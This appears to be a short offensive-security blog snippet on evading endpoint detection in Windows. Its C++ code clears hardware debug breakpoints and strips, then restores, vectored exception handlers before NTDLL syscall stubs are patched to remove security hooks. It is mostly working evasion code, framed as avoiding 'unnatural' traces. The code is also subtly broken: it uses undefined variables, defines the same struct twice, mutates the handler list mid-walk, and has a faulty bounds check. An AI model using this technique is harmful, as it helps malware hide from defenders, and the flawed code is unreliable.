Clearing VEH and HWBPs before unhooking
The following syscall unhooking strategy has been demonstrated to be highly effective:
- Get the .text section of NTDLL
- "Disassemble" all syscalls to determine which ones need patching
- NtProtectVirtualMemory to RW
- Patch using memmove
- NtProtectVirtualMemory back to RX
Before doing so, however, it is necessary to take certain precautions against page guard hooking. My aim in this snippet is to outline these precautions.
Clearing hardware breakpoints
To avoid removing the linear address of the breakpoint, which may appear unnatural, we will instead disable the debug flag at each location. This process is omitted if the debug control register is not set, as this indicates that the breakpoints are not enabled.
NTSTATUS ClearHardwareBreakpoints()
{
CONTEXT Context{ .ContextFlags = CONTEXT_DEBUG_REGISTERS };
NTSTATUS Status { NtGetContextThread(NtCurrentThread(), &Context) };
if(!NT_SUCCESS(Status))
{
return Status;
}
if(Context.Dr7)
{
Context.Dr7 &= ~0x000000FF;
Status = NtSetContextThread(NtCurrentThread(), &Context);
if(!NT_SUCCESS(Status))
{
return Status;
}
}
return STATUS_SUCCESS;
}
Clearing VEH
In order to maintain a record of the registered vectored exception handlers, the system utilises the ubiquitous LIST_ENTRY
. The foremost element within this list is stored within the global variable LdrpVectorHandlerList
, present in NTDLL.
Consequently, if an entry within the list is situated within the .data
section of NTDLL, it can be inferred that the head of the list has been reached.
BOOLEAN GetDataSection(OUT PVOID* DataSection, OUT CONST PULONG DataSectionSize)
{
CONST PVOID ModuleAddress{ LoadLibraryA("ntdll") };
if (ModuleAddress == nullptr)
{
return FALSE;
}
PIMAGE_NT_HEADERS NtHeaders { RtlImageNtHeader(ModuleAddress) };
AUTO CurrentSection{ IMAGE_FIRST_SECTION(NtHeaders) };
if (Section == nullptr)
{
return FALSE;
}
for (WORD Index = 0; Index < NtHeaders->FileHeader.NumberOfSections; Index++)
{
if (strcmp(reinterpret_cast<PSTR>(CurrentSection->Name), ".data") == 0)
{
*DataSection = reinterpret_cast<PVOID>(static_cast<PUCHAR>(ModuleAddress) + CurrentSection->VirtualAddress);
*DataSectionSize = CurrentSection->Misc.VirtualSize;
return TRUE;
}
CurrentSection++;
}
return FALSE;
}
Equipped with this helper function, it is possible to obtain the head of the list.
The "handle" returned by RtlAddVectoredExceptionHandler is a pointer to the below struct, as seen in the WRK. Despite the addition of new members over time, it is still possible to cast to PLIST_ENTRY, as it remains the first member of the struct.
typedef struct _VECTXCPT_CALLOUT_ENTRY
{
LIST_ENTRY Links;
PVECTORED_EXCEPTION_HANDLER VectoredHandler;
} VECTXCPT_CALLOUT_ENTRY, *PVECTXCPT_CALLOUT_ENTRY;
LONG EmptyExceptionHandler(IN PEXCEPTION_POINTERS ExceptionInfo)
{
return EXCEPTION_CONTINUE_SEARCH;
}
PLIST_ENTRY GetVectoredHandlerList()
{
//
// Register a dummy exception handler to get an entry in the doubly linked list
//
CONST PLIST_ENTRY EmptyHandler{ static_cast<PLIST_ENTRY>(RtlAddVectoredExceptionHandler(FALSE, EmptyExceptionHandler)) };
if(EmptyHandler == nullptr)
{
return nullptr;
}
PVOID DataSection {};
ULONG DataSectionSize{};
if (GetDataSection(&DataSection, &DataSectionSize) == FALSE)
{
return nullptr;
}
//
// Walk the linked list until we find its head
//
PLIST_ENTRY Next{};
for(Next = EmptyHandler->Flink; Next != EmptyHandler; Next = Next->Flink)
{
if (Next >= DataSection && static_cast<PVOID>(Next) <= static_cast<PVOID*>(DataSection) + DataSectionSize)
{
break;
}
}
//
// Remove our empty handler
//
RtlRemoveVectoredExceptionHandler(EmptyHandler);
return Next;
}
Given that the absence of any registered exception handlers is clearly anomalous, we will store them in a global vector and restore them after unhooking.
// Add new members to the struct so the offset is correct
typedef struct _VECTXCPT_CALLOUT_ENTRY
{
LIST_ENTRY Links;
PVOID Reserved[2];
PVECTORED_EXCEPTION_HANDLER VectoredHandler;
} VECTXCPT_CALLOUT_ENTRY, *PVECTXCPT_CALLOUT_ENTRY;
std::vector<PVECTXCPT_CALLOUT_ENTRY> VehStore;
VOID RemoveVeh()
{
CONST PLIST_ENTRY Head = GetVectoredHandlerList();
for(PLIST_ENTRY Next = Head->Flink; Next != Head; Next = Next->Flink)
{
if(RtlRemoveVectoredExceptionHandler(Next) != FALSE)
{
VehStore.emplace_back(static_cast<PVECTXCPT_CALLOUT_ENTRY>(Next));
}
}
}
VOID RestoreVeh()
{
for(CONST AUTO& Handler: Instance->VehStore)
{
RtlAddVectoredExceptionHandler(FALSE, Handler->VectoredHandler);
}
VehStore.clear();
}
The logic thereby becomes:
- Clear HWBP
- Clear VEH
- Get the .text section of NTDLL
- "Disassemble" all syscalls to determine which ones need patching
- NtProtectVirtualMemory to RW
- Patch using memmove
- NtProtectVirtualMemory back to RX
- Restore VEH
Credits
- @modexpblog
- @peterwintrsmith
- github.com/rad9800/WTSRM2